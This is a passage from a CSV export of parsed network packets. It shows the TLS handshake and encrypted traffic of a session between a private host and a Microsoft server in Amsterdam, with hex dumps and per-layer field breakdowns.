\"\"tos\"\": 0, \"\"len\"\": 2456, \"\"id\"\": 19793, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19526, \"\"src\"\": \"\"40.99.204.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63963, \"\"seq\"\": 3179310226, \"\"ack\"\": 4179543637, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 41299, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631313037313930355a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303631313037303330305aa011180f32303236303631383036303330305a300d06092a864886f70d01010b05000382010100617fa930ba436de93cc8a6a5d2ee1315c0800425a20212f8b2e533422046b4f06532049274f7d1a3a9100edb1ea33ff5edf97238f4e1675afebca2b0f22172077c82c4d2827e3a8daeb258093e3b77be5d146d63f157672abb7eeb684cadf378c3f238cdd749d1eba869f4ea18bc5f40f85485d6d89e3ad5398904c0a194cd286b7a8345009d6ee6510a7f3e2d5fe136a9d01ed64c7a980e05a0e82a37d1c3e31aa549edadc974357cf32f90813884755efacc5d44d25657083db034e224018d3c73077a4c60608d9b7362cba391111041de8d6fa79026e724da6ad3467511d01987535fb084bc0bcee6bb81bb3bcc2c9f846b896cfe4ea5680e15e2b658c0320c0001690300186104fa19cf9ec6e4b26f657aee9db717830f25131f08324866033e1409188d337abdd46899a18f546dcb77886f37c18be07e273ec06647935b3f16e65e6a40a14bfb8e4564b9fd7237a41ff96af5be9dfefd1a2e23c92687455e94da18ef843f6f82080401006a5b5dbab81bb93b564a91b629316a4e423ebc383f757619af12c21d6b6279d1460c17977e8b59c8711ddb1db044cf66e8a02b9dbe2503f6897f9512295d6496cd197aa6cd5fee34739e98c95a417279a6b1e27489f8fb966540300a8ed5111d157b57329b9b306adafc50f020d48e060fd798ffb40c54facaf720fc8825abb2e00033e5d0b9f3d7db9e0c9d6dc77684234dd87f74dae0c814033b2ab168689cbe3f3679e3a3a65146f5bc9ab5e3ef87f873610952952a49d7a5208e3f3cab0c4fc95dcb753b66ed02dd15c6a54b4989a681473fabcc2dd52e7d2e0e94cbf1ba15027d0bb24933c2c1b7b2bfa510acee34d93952780a6c56374c10d0acd71cf50e000000\"\"}}]\"\n2026-06-14 14:28:40.201198,33,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=4179543637 Ack=3179312642,bc24112907bbbc2411360d0c08004500002813a0400080064f670a98980b2863ccc2f9db01bbf91ec655bd80760250100400257d0000,\".$.)...$.6\n...E..(..@...Og\n...(c.........U..v.P...%}..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5024, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20327, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179543637, \"\"ack\"\": 3179312642, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 9597, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:40.218596,34,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=4179543637 Ack=3179312642,bc24112907bbbc2411360d0c0800450000c613a1400080064ec80a98980b2863ccc2f9db01bbf91ec655bd80760250180400459500001603030066100000626104d27d0215488f2f0b5a1b95d8227e702a6d02425c09b95d094eacab9e43751912f908d03f254e01c7e69b2782fd18a3787918a22d7227b8f9cdba5880583016c38612be8daaf6905934aecd2a02b090198459026f145d5d3a0f071993f181e19e140303000101160303002800000000000000007aa9e0d6fb0687cdbf20e003877e7ade0792aa5638c7497cd5cae59ed86f9bd8,\"a..}..H./.Z...\"\"~p*m.B\\\t.]\tN...Cu.....?%N....'....xy..-r'....X.X0.........Y4..*.....Y.o.]]:........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 198, \"\"id\"\": 5025, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20168, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179543637, \"\"ack\"\": 3179312642, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 17813, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 102, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=98 exchkeys=<Raw  load=b'a\\\\x04\\\\xd2}\\\\x02\\\\x15H\\\\x8f/\\\\x0bZ\\\\x1b\\\\x95\\\\xd8\\\"\"~p*m\\\\x02B\\\\\\\\\\\\t\\\\xb9]\\\\tN\\\\xac\\\\xab\\\\x9eCu\\\\x19\\\\x12\\\\xf9\\\\x08\\\\xd0?%N\\\\x01\\\\xc7\\\\xe6\\\\x9b\\\\'\\\\x82\\\\xfd\\\\x18\\\\xa3xy\\\\x18\\\\xa2-r\\\\'\\\\xb8\\\\xf9\\\\xcd\\\\xbaX\\\\x80X0\\\\x16\\\\xc3\\\\x86\\\\x12\\\\xbe\\\\x8d\\\\xaa\\\\xf6\\\\x90Y4\\\\xae\\\\xcd*\\\\x02\\\\xb0\\\\x90\\\\x19\\\\x84Y\\\\x02o\\\\x14]]:\\\\x0f\\\\x07\\\\x19\\\\x93\\\\xf1\\\\x81\\\\xe1\\\\x9e' |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'z\\\\xa9\\\\xe0\\\\xd6\\\\xfb\\\\x06\\\\x87\\\\xcd\\\\xbf \\\\xe0\\\\x03\\\\x87~z\\\\xde\\\\x07\\\\x92\\\\xaaV8\\\\xc7I|\\\\xd5\\\\xca\\\\xe5\\\\x9e\\\\xd8o\\\\x9b\\\\xd8' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:40.218610,35,TCP 40.99.204.194:443 -> 10.152.152.11:63963,40.99.204.194,10.152.152.11,443,63963,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3179312642 Ack=4179543795,bc2411360d0cbc24112907bb0800450000284d534000400655b42863ccc20a98980b01bbf9dbbd807602f91ec6f35010003f97e30000,\".$.6\n..$.)....E..(MS@.@.U.(c..\n.........v.....P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 19795, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21940, \"\"src\"\": \"\"40.99.204.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63963, \"\"seq\"\": 3179312642, \"\"ack\"\": 4179543795, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 38883, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:40.977316,36,TCP 40.99.204.194:443 -> 10.152.152.11:63963,40.99.204.194,10.152.152.11,443,63963,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=3179312642 Ack=4179543795,bc2411360d0cbc24112907bb0800450001d34d544000400654082863ccc20a98980b01bbf9dbbd807602f91ec6f35018003f998e0000160303012e0400012a00008ca00124000000000ab61cbee703d443bc0e0931b62de9e79207dcdd13ef5fbfa7df9d7c6836594f373009a69ff1cc68580643d53020a7c16822569edd77e65f5991cb5050bcaefaf6b351d982e15f892040f0c81b1956483a227e00015c616c40a624483f74d03d1c0c9ba9d66cc4bd61a2b7c655a1b5eb1cf60179cf2afdb174e7683aaf13a6b3c7431c44e4a94e3fcc8737a2db127b5d0915cd717ea6651b54d4880a8115671be5bbb99e57b0ecba8955f45d6e6d7c41f658335bf6d567302d87953580bce662bdccb68e93b6ff66bd3249388b5835503858c9b62559054ed5a2565972e38e4fd49f037e73143757c3952ee7c71be810f6dae1533715e43b41db3af9cebd0bbdc1a73707432c45e10bee0d6cf0ea912c4efcbe4641739d51e6d3a958670461a1140303000101160303002800000000000000002b8eecdf03d015d69bd7e6377984c0ca298eebffebdd2da246b5c2fa69cd62dd170303004000000000000000019b57f71f8970373f8c8027b96a520e17007b50a36927b13e18e173f00ddb09a91b8650c9f208051dc4fbfba6ba45b527df4b60b7ef727793,+..........7y...).....-.F...i.b.,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 467, \"\"id\"\": 19796, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21512, \"\"src\"\": \"\"40.99.204.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63963, \"\"seq\"\": 3179312642, \"\"ack\"\": 4179543795, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 39310, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 302, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=298 lifetime=36000 ticketlen=292 ticket=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\n\\\\xb6\\\\x1c\\\\xbe\\\\xe7\\\\x03\\\\xd4C\\\\xbc\\\\x0e\\\\t1\\\\xb6-\\\\xe9\\\\xe7\\\\x92\\\\x07\\\\xdc\\\\xdd\\\\x13\\\\xef_\\\\xbf\\\\xa7\\\\xdf\\\\x9d|h6YO70\\\\t\\\\xa6\\\\x9f\\\\xf1\\\\xcchX\\\\x06C\\\\xd50 \\\\xa7\\\\xc1h\\\"\"V\\\\x9e\\\\xddw\\\\xe6_Y\\\\x91\\\\xcbPP\\\\xbc\\\\xae\\\\xfa\\\\xf6\\\\xb3Q\\\\xd9\\\\x82\\\\xe1_\\\\x89 @\\\\xf0\\\\xc8\\\\x1b\\\\x19VH:\\\"\"~\\\\x00\\\\x01\\\\\\\\al@\\\\xa6$H?t\\\\xd0=\\\\x1c\\\\x0c\\\\x9b\\\\xa9\\\\xd6l\\\\xc4\\\\xbda\\\\xa2\\\\xb7\\\\xc6U\\\\xa1\\\\xb5\\\\xeb\\\\x1c\\\\xf6\\\\x01y\\\\xcf*\\\\xfd\\\\xb1t\\\\xe7h:\\\\xaf\\\\x13\\\\xa6\\\\xb3\\\\xc7C\\\\x1cD\\\\xe4\\\\xa9N?\\\\xcc\\\\x877\\\\xa2\\\\xdb\\\\x12{]\\\\t\\\\x15\\\\xcdq~\\\\xa6e\\\\x1bT\\\\xd4\\\\x88\\\\n\\\\x81\\\\x15g\\\\x1b\\\\xe5\\\\xbb\\\\xb9\\\\x9eW\\\\xb0\\\\xec\\\\xba\\\\x89U\\\\xf4]nm|A\\\\xf6X3[\\\\xf6\\\\xd5g0-\\\\x87\\\\x955\\\\x80\\\\xbc\\\\xe6b\\\\xbd\\\\xcc\\\\xb6\\\\x8e\\\\x93\\\\xb6\\\\xfff\\\\xbd2I8\\\\x8bX5P8X\\\\xc9\\\\xb6%Y\\\\x05N\\\\xd5\\\\xa2VYr\\\\xe3\\\\x8eO\\\\xd4\\\\x9f\\\\x03~s\\\\x147W\\\\xc3\\\\x95.\\\\xe7\\\\xc7\\\\x1b\\\\xe8\\\\x10\\\\xf6\\\\xda\\\\xe1S7\\\\x15\\\\xe4;A\\\\xdb:\\\\xf9\\\\xce\\\\xbd\\\\x0b\\\\xbd\\\\xc1\\\\xa77\\\\x07C,E\\\\xe1\\\\x0b\\\\xee\\\\rl\\\\xf0\\\\xea\\\\x91,N\\\\xfc\\\\xbeFAs\\\\x9dQ\\\\xe6\\\\xd3\\\\xa9Xg\\\\x04a\\\\xa1' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'+\\\\x8e\\\\xec\\\\xdf\\\\x03\\\\xd0\\\\x15\\\\xd6\\\\x9b\\\\xd7\\\\xe67y\\\\x84\\\\xc0\\\\xca)\\\\x8e\\\\xeb\\\\xff\\\\xeb\\\\xdd-\\\\xa2F\\\\xb5\\\\xc2\\\\xfai\\\\xcdb\\\\xdd' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 64, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x9bW\\\\xf7\\\\x1f\\\\x89p7?\\\\x8c\\\\x80'\\\\xb9jR\\\\x0e\\\\x17\\\\x00{P\\\\xa3i'\\\\xb1>\\\\x18\\\\xe1s\\\\xf0\\\\r\\\\xdb\\\\t\\\\xa9\\\\x1b\\\\x86P\\\\xc9\\\\xf2\\\\x08\\\\x05\\\\x1d\\\\xc4\\\\xfb\\\\xfb\\\\xa6\\\\xbaE\\\\xb5'\\\\xdfK`\\\\xb7\\\\xefrw\\\\x93\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:40.977562,37,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=4179543795 Ack=3179313069,bc24112907bbbc2411360d0c08004500002813a2400080064f650a98980b2863ccc2f9db01bbf91ec6f3bd8077ad501003fe23360000,\".$.)...$.6\n...E..(..@...Oe\n...(c............w.P...#6..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 5026, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20325, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179543795, \"\"ack\"\": 3179313069, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 9014, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:40.979273,38,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4179543795 Ack=3179313069,bc24112907bbbc2411360d0c08004500007f13a3400080064f0d0a98980b2863ccc2f9db01bbf91ec6f3bd8077ad501803fe4f850000170303005200000000000000019c8c930d524bbffcfa5b1e8d4a1c9e56d2023ee67b85017ae60532405df4fc72d99467a2306944adf22edcb0a18de922c5785641fd9623556040c71115b0010b97ff2cd61a4f9b8c054f,\".$.)...$.6\n...E.....@...O\n...(c............w.P...O.......R...........\nRK...[..J..V..>.{..z..2@]..r..g.0iD........\"\".xVA..#U`@........,..O...O\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 127, \"\"id\"\": 5027, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20237, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 443, \"\"seq\"\": 4179543795, \"\"ack\"\": 3179313069, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 20357, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 82, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x9c\\\\x8c\\\\x93\\\\rRK\\\\xbf\\\\xfc\\\\xfa[\\\\x1e\\\\x8dJ\\\\x1c\\\\x9eV\\\\xd2\\\\x02>\\\\xe6{\\\\x85\\\\x01z\\\\xe6\\\\x052@]\\\\xf4\\\\xfcr\\\\xd9\\\\x94g\\\\xa20iD\\\\xad\\\\xf2.\\\\xdc\\\\xb0\\\\xa1\\\\x8d\\\\xe9\\\"\"\\\\xc5xVA\\\\xfd\\\\x96#U`@\\\\xc7\\\\x11\\\\x15\\\\xb0\\\\x01\\\\x0b\\\\x97\\\\xff,\\\\xd6\\\\x1aO\\\\x9b\\\\x8c\\\\x05O' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:40.979285,39,TCP 40.99.204.194:443 -> 10.152.152.11:63963,40.99.204.194,10.152.152.11,443,63963,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3179313069 Ack=4179543882,bc2411360d0cbc24112907bb0800450000284d554000400655b22863ccc20a98980b01bbf9dbbd8077adf91ec74a5010003f97e30000,\".$.6\n..$.)....E..(MU@.@.U.(c..\n.........w....JP..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 19797, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21938, \"\"src\"\": \"\"40.99.204.194\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63963, \"\"seq\"\": 3179313069, \"\"ack\"\": 4179543882, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 38883, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:40.979388,40,TCP 10.152.152.11:63963 -> 40.99.204.194:443,10.152.152.11,40.99.204.194,63963,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,40.99.204.0/24,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4179543882 Ack=3179313069,bc24112907bbbc2411360d0c08004500004e13a4400080064f3d0a98980b2863ccc2f9db01bbf91ec74abd8077ad501803fee2a30000170303002100000000000000024d11fcfbdef85d513382d4d679269bbe6b67be9c7637ed30d9,\".$.)...$.6\n...E..N..@...O=\n...(c.........J..w.P...........!........M.....]Q3...y&..kg..v7.0.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 5028, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20285, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.99.204.194\"\", 